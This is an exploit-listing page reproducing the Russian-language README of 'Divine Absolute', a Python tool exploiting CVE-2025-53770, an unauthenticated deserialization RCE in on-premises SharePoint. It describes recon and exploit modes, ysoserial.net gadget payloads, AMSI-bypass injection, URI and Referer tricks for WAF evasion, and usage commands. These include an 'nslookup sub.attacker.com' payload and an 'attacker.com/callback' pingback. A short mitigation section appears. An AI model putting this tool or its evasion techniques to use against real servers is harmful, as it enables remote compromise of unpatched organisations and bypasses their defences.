Sploitus

Exploit for CVE-2025-53770

kitploit · 2026-08-31

Exploit Code

MARKDOWN263 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EXFIL0-CVE-2025-53770
# Divine Absolute — Инструмент эксплуатации CVE-2025-53770

![License](https://img.shields.io/badge/license-MIT-blue.svg)  
![Python](https://img.shields.io/badge/python-3.8+-blue.svg)

## Обзор

**Divine Absolute** — это сложный, управляемый мастером инструмент эксплуатации на Python, нацеленный на **CVE-2025-53770** , критическую (CVSS 9.8) уязвимость удалённого выполнения кода без аутентификации в локальных версиях Microsoft SharePoint Server (2016, 2019, Subscription Edition). Эта уязвимость, раскрытая как zero-day 19 июля 2025 года, возникает из-за десериализации недоверенных данных в `/_layouts/15/ToolPane.aspx`. Инструмент предназначен **исключительно для этического тестирования на проникновение и авторизованных исследований безопасности** , обеспечивая непревзойдённую точность, скрытность и адаптивность для разведки, эксплуатации и верификации.

**Репозиторий** : https://github.com/exfil0/CVE-2025-53770

> **⚠️ Юридическое предупреждение** : Этот инструмент предназначен для законного, авторизованного использования только в контролируемых средах с явного разрешения. Несанкционированное использование против систем, которыми вы не владеете или не имеете разрешения на тестирование, незаконно и может повлечь серьёзные правовые последствия. Автор не несёт ответственности за неправомерное использование.

## Возможности

  * **Режимы** : 
    * **Recon** : Обнаруживает наличие SharePoint, версию и доступность `ToolPane.aspx` с расширенной оценкой и регулярными выражениями (например, `16.0.0.\d+-\w+?`).
    * **Exploit** : Доставляет полезные нагрузки через `ToolPane.aspx` с надёжными обходами.
    * **Full** : Объединяет разведку и эксплуатацию с опциональной агрессивной эксплуатацией.
  * **Генерация полезных нагрузок** : 
    * Интеграция **ysoserial.net** для полезных нагрузок десериализации .NET (например, ObjectDataProvider, LosFormatter).
    * Опциональный **pythonnet** для запасных HTTP/DNS pingback нагрузок (например, `WebRequest.Create`, `Dns.GetHostEntry`).
    * Поддержка сжатия GZIP с явным кодированием/декодированием и проверкой base64.
    * Внедрение обходов AMSI (базовое отражение, запутанное или пользовательское) в команды PowerShell, включая полезные нагрузки в base64 (`-enc`).
  * **Обходы** : 
    * Обход URI: случайные или фиксированные суффиксы (например, `/xp.aspx`, на основе UUID).
    * Подделка Referer: отсутствие, внешние домены (например, `www.google.com`), пользовательские URL или внутренние пути SharePoint (например, `/_layouts/15/sharepoint.aspx`).



## Контекст CVE-2025-53770

  * **Уязвимость** : Удалённое выполнение кода без аутентификации через десериализацию в `/_layouts/15/ToolPane.aspx`.
  * **Затронуты** : SharePoint Server 2016, 2019, Subscription Edition (снятые с поддержки версии 2010/2013 также уязвимы).
  * **Не затронуты** : SharePoint Online (M365).
  * **Эксплуатируется** : С 18 июля 2025 года в кампаниях, таких как «ToolShell», спонсируемых государственными субъектами (например, Linen Typhoon).
  * **Исправления** : Патчи Microsoft (например, KB5002768, KB5002754), выпущенные 19 июля 2025 года, полностью устраняют уязвимость. Включение в CISA KEV требует от федеральных структур установить патчи до 21 июля 2025 года.
  * **Смягчение** : Установка патчей, смена ключей после патча, включение AMSI/Defender (полный режим), мониторинг POST-запросов к `/ToolPane.aspx`, использование правил WAF (например, Cloudflare).



## Установка

### Предварительные требования

  * **Python 3.8+**
  * **Зависимости** : 

root@kitploit:~
        
        pip install requests termcolor
        

  * **Опционально (для запасной сериализации .NET)** : 

root@kitploit:~
        
        pip install pythonnet
        

  * **ysoserial.net** : 
    * Загрузите с релизов ysoserial.net.
    * Поместите `ysoserial.exe` в известный путь (например, `./ysoserial.exe`).
  * **Mono/Wine** (системы, отличные от Windows): 

root@kitploit:~
        
        # Ubuntu/Debian
        sudo apt-get install mono-complete
        # macOS (через Homebrew)
        brew install mono
        

  * **Docker Lab** (рекомендуется для тестирования): 

root@kitploit:~
        
        docker pull mcr.microsoft.com/sharepoint/server:2019
        




### Настройка

  1. Клонируйте репозиторий: 

root@kitploit:~
         
         git clone https://github.com/exfil0/CVE-2025-53770.git
         cd CVE-2025-53770
         

  2. Установите зависимости Python: 

root@kitploit:~
         
         pip install -r requirements.txt
         

  3. Убедитесь, что `ysoserial.exe` доступен, или укажите путь к нему во время выполнения.
  4. (Опционально) Проверьте Mono/Wine для систем, отличных от Windows.



## Использование

Запустите интерактивный мастер:

root@kitploit:~
    
    
    python divine_absolute.py
    

### Рабочий процесс

  1. **Выбор режима** : 
     * `Recon`: Сканирует на наличие SharePoint и версию.
     * `Exploit`: Отправляет полезную нагрузку в `ToolPane.aspx`.
     * `Full`: Разведка + эксплуатация (опциональный агрессивный режим).
  2. **Ввод цели** : 
     * Одиночный URL (например, `https://sharepoint.example.com`).
     * Файл с URL (по одному на строку).
  3. **Настройка полезной нагрузки** : 
     * **ysoserial.net** : Укажите путь, гаджет (например, `ObjectDataProvider`) и команду (например, `cmd /c whoami`).
     * **File** : Загрузите полезную нагрузку base64 GZIP из файла.
     * **String** : Введите полезную нагрузку base64 GZIP напрямую.
     * **Pingback** : Сгенерируйте HTTP/DNS pingback (например, `http://attacker.com/callback` или `sub.attacker.com`).
     * Обход AMSI: выберите `NONE`, ,  или пользовательский фрагмент.



### Примеры команд

  * **Разведка** : 

root@kitploit:~
        
        python divine_absolute.py
        # Выберите: Mode=Recon, Target=https://sharepoint.example.com
        

  * **Эксплуатация с ysoserial.net** : 

root@kitploit:~
        
        python divine_absolute.py
        # Выберите: Mode=Exploit, Target=https://sharepoint.example.com, Payload=YSOSERIAL,
        #         ysoserial.exe path=./ysoserial.exe, Gadget=ObjectDataProvider,
        #         Command="cmd /c echo %COMPUTERNAME% > C:\Temp\out.txt"
        

  * **Полный режим с верификацией** : 

root@kitploit:~
        
        python divine_absolute.py
        # Выберите: Mode=Full, Target=target_list.txt, Payload=FILE, Payload File=payload.b64,
        #         Verify Path=/sitepages/out.txt, Regexes="COMPUTERNAME", Status Codes=200
        

  * **DNS Pingback** : 

root@kitploit:~
        
        python divine_absolute.py
        # Выберите: Mode=Exploit, Payload=PINGBACK, Pingback URL=sub.attacker.com
        




### Вывод

Результаты сохраняются в `xanthorox_results.json` со следующими полями:

  * `target`: Проверенный URL.
  * `sharepoint_detected`: Логическое значение.
  * `toolpane_accessible`: Логическое значение.
  * `exploited`: Логическое значение (полезная нагрузка отправлена).
  * `verified_rce`: Логическое/None (RCE подтверждено).
  * `error`: Любые возникшие ошибки.



Пример:

root@kitploit:~
    
    
    [
      {
        "target": "https://sharepoint.example.com",
        "sharepoint_detected": true,
        "toolpane_accessible": true,
        "exploited": true,
        "verified_rce": true,
        "error": null
      }
    ]
    

## Устранённые улучшения

Эта версия исправляет:

  * **Адаптивное ограничение скорости** : Игнорирует ошибки, не связанные с повторными попытками (например, 404), для подсчёта успехов/ошибок; устанавливает минимальный порог RPS (0.01).
  * **Внедрение AMSI** : Декодирует и внедряет обходы в команды PowerShell, закодированные в base64 (`-enc`); поддерживает не-PowerShell (например, `cmd.exe`) с предупреждениями.
  * **Запасной Pingback** : Использует `pythonnet` для надёжного DNS pingback с `Dns.GetHostEntry` (экспериментально, требует гаджета для полного эффекта).



## Рекомендации по тестированию

  * **Лабораторная установка** : Используйте контейнер Docker с SharePoint Server 2019 (без патча) для безопасного тестирования.
  * **Тестирование WAF** : Проверьте обходы против Cloudflare или аналогичных WAF с адаптивным RPS.
  * **Тестирование полезных нагрузок** : Генерируйте нагрузки с помощью `ysoserial.exe -f LosFormatter -g ObjectDataProvider -c "cmd /c nslookup sub.attacker.com" -o base64` и проверяйте DNS-логи.



## Известные ограничения

  * **Надёжность Pingback** : `Dns.GetHostEntry` в `pythonnet` может не срабатывать без определённой цепочки гаджетов.
  * **Сложные команды** : Нестандартные команды PowerShell могут потребовать ручного внедрения обхода AMSI.
  * **Обнаружение WAF** : Некоторые WAF могут блокировать полезные нагрузки, несмотря на обходы; тестируйте тщательно.



## Вклад

Приветствуются любые вклады! Пожалуйста:

  1. Сделайте форк репозитория.
  2. Создайте ветку для функции (`git checkout -b feature/awesome-improvement`).
  3. Зафиксируйте изменения (`git commit -m "Add awesome improvement"`).
  4. Отправьте изменения в ветку (`git push origin feature/awesome-improvement`).
  5. Откройте pull request.



## Лицензия

Этот проект лицензирован под лицензией MIT. Подробности см. в файле LICENSE.

## Благодарности

  * **xAI** : За вдохновение передовых исследований в области безопасности.
  * **ysoserial.net Team** : За генератор полезных нагрузок десериализации .NET.
  * **Security Community** : За понимание эксплуатации и смягчения CVE-2025-53770.



## Контакты

  * **Автор** : @exfil0
  * **Проблемы** : GitHub Issues
  * **Telegram** : https://t.me/GOTOCVE



> **Примечание** : Всегда проверяйте полезные нагрузки и конфигурации в контролируемой лаборатории перед использованием. Будьте этичны и законны.